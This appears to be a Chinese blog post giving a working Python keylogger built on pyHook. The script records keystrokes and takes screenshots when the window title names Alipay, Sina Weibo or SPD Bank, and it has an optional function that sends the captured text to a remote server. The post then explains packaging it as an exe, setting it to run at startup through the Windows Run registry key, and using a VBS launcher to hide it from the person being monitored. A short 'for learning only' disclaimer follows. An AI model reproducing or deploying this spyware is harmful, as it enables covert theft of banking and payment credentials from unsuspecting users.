pyHook监听用户鼠标、键盘事件
一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下# -*- coding: utf-8 -*- # import pythoncom import pyHook import timeimport socketfrom PIL import ImageGrab##如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器#def send_msg_to_server(msg): host="" port=1234 buf_size=1024 addr=(host,port) if len(msg)>0: tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':' tcp_client_sock.sendall(info+msg) tcp_client_sock.close() ##也可以将获取到的信息保存到本地文件下#def write_msg_to_txt(msg): f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a') f.write(msg+'\r\n') f.close()def onMouseEvent(event): # 监听鼠标事件 global MSG if len(MSG)!=0: #send_msg_to_server(MSG) write_msg_to_txt(MSG) MSG='' pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器) pic = ImageGrab.grab() pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name) return True def onKeyboardEvent(event): #监听键盘事件 global MSG title= event.WindowName.decode('GBK') #通过网站title,判断当前网站是否是“监听目标” if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = '' #屏幕抓图实现 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成为以日期命名的图片 pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name) return True if __name__ == "__main__": MSG = '' #创建hook句柄 hm = pyHook.HookManager() #监控鼠标 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages() 二、用py2exe将脚本打包: 新建一个py文件setup.py,内容如下: from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"]) 命令行执行以下命令: python setup.py py2exe 三、将该程序设置为开机自动启动: 法①: 将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下 法②: 修改注册表:命令行— regedit ,然后到以下路径下: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] 新建一个“字符串值”,然后编辑:设置exe文件所在路径 D:\workspace\mytest\pyhook\dist\monitor.exe (以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式) 法③: 新建一个 .vbs文件,内容如下: set wscriptObj = CreateObject("Wscript.Shell") wscriptObj.run “D:\workspace\mytest\pyhook\dist\monitor.exe",0 双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。 然后参考法①、② 把该vbs设置成开机启动即可。附言:1、该程序涉及到一些模块都需要自己安装一下;2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;3、代码仅供分享、学习,请勿干非法的事;4、我也是初学,所以请随便喷;pyHook监听用户鼠标、键盘事件的更多相关文章
- js中对arry数组的各种操作小结 瀑布流AJAX无刷新加载数据列表--当页面滚动到Id时再继续加载数据 web前端url传递值 js加密解密 HTML中让表单input等文本框为只读不可编辑的方法 js监听用户的键盘敲击事件,兼容各大主流浏览器 HTML特殊字符
js中对arry数组的各种操作小结 最近工作比较轻松,于是就花时间从头到尾的对js进行了详细的学习和复习,在看书的过程中,发现自己平时在做项目的过程中有很多地方想得不过全面,写的不够合理,所以说啊 ...
- js监听用户的键盘敲击事件,兼容各大主流浏览器
js监听用户的键盘敲击事件,兼容各大主流浏览器 <script type="text/javascript"> document.onkeydown = functio ...
- vue使用element-ui的el-input监听不了键盘事件解决
vue使用element-ui的el-input监听不了键盘事件,原因应该是element-ui自身封装了一层div在input标签外面,把原来的事件隐藏了,所以如下代码运行是无响应的: <el ...
- JAVA之旅(三十一)——JAVA的图形化界面,GUI布局,Frame,GUI事件监听机制,Action事件,鼠标事件
JAVA之旅(三十一)--JAVA的图形化界面,GUI布局,Frame,GUI事件监听机制,Action事件,鼠标事件 有段时间没有更新JAVA了,我们今天来说一下JAVA中的图形化界面,也就是GUI ...
- Python——pyHook监听鼠标键盘事件
pyHook包为Windows中的全局鼠标和键盘事件提供回调. 底层C库报告的信息包括事件的时间,事件发生的窗口名称,事件的值,任何键盘修饰符等. 而正常工作需要pythoncom等操作系统的API的 ...
- js 监听手机端键盘弹出和收起事件
//这里区分不同系统,可以参考之前的文档记录 https://www.cnblogs.com/wind-wang/p/10737110.html const ua = typeof window == ...
- Android如何监听蓝牙耳机的按键事件(转)
源: Android如何监听蓝牙耳机的按键事件 写在前面: 直接想要代码很简单,你直接把滚动条拉到最底端就可以看到.如果想要十分地了解为什么,那就按照我规划的一步一步来理解.以下测试环境以手头上有的「 ...
- Android怎样监听蓝牙耳机的按键事件
Android怎样监听蓝牙耳机的按键事件 写在前面: 直接想要代码非常easy,你直接把滚动栏拉到最底端就能够看到.假设想要十分地了解为什么,那就依照我规划的一步一步来理解.下面測试环境以手头上有的「 ...
- 【转】Qt鼠标键盘事件
http://blog.csdn.net/lovebird_27/article/details/50351336 Qt 程序需要在main()函数创建一个QCoreApplication对象,然后调 ...
随机推荐
- PNG格式图片常见转换方法
前言 最近碰到一个需要将图片由原始的PNG转化为JPG的需求,由于PNG图片本身质量等原因,导致转化为JPG之后,存在失真的问题,后来一个同事分享了下述的HighQualityPNGToJPG方法解决 ...
- testng入门教程9 TestNG依赖测试
有时候,你可能需要在一个特定的顺序调用方法在测试案例,或你想分享一些数据和方法之间的状态.TestNG支持这种依赖测试方法之间的显式依赖它支持声明. TestNG允许指定依赖,无论与否: 使用属性de ...
- 7.4 Models -- Pushing Records into the Store
一.概述 1. store是作为一个所有records的缓存,这些records已经被你的应用程序加载.在你的app中如果你的路由或者一个controller请求一条record,如果它在缓存中这个s ...
- VS2010/MFC编程入门之四十(文档、视图和框架:各对象之间的关系)
前面一节中鸡啄米进行了文档.视图和框架的概述,本节主要讲解文档.视图.框架结构中各对象之间的关系. 各个对象之间的关系 文档.视图.框架结构中涉及到的对象主要有:应用程序对象.文档模板对象.文档对象. ...
- uva11383 转化为 二分图匹配
给定一个n*n矩阵,每个格子里都有一个正整数w(i,j).你的任务是给每行确定一个整数row(i),没列也确定一个正整数col(i),使得对于任意格子(i,j),w(i,j) <= row(i) ...
- PLSQL入门:cursor传参,loop fetch使用,if使用,单引号字符表示
1.cursor传入参数 定义:cursor [cursor变量名称]([参数名称] [参数类型]) IS [SQL语句,可以使用传入参数] 例子: cursor moTypeNames(dom ...
- IEEE发布2017年编程语言排行榜:Python高居首位,java第三,php第八
2017年7月18日,IEEE Spectrum 发布了第四届顶级编程语言交互排行榜.因为有各种不同语言的排行,所以 IEEE Spectrum 依据不同的变量对流行度进行了排行.据 IEEE Spe ...
- nginx+tomcat把带WWW域名自动跳转到不带www域名方法
nginx+tomcat把带WWW域名自动跳转到不带www域名方法在nginx.conf里面 include /etc/nginx/conf.d/*.conf;在应该server里增加: if ($h ...
- centos infiniband网卡安装配置
硬件:Mellanox InfiniBand,主要包括 HCA(主机通道适配器)和交换机两部分 软件:CentOS 6.4 MLNX_OFED_LINUX-2.1-1.0.0-rhel6.4-x86_ ...
- 开启你的kali linux DIY之旅
更新源 首先 是kali2016.2更新源的问题,网上找了好久,都不是很满意.后来把kali 2016.2安装到实体机中才发现,里面自带了更新源.下面我把这个官方自带更新源分享出来(速度蛮快的) de ...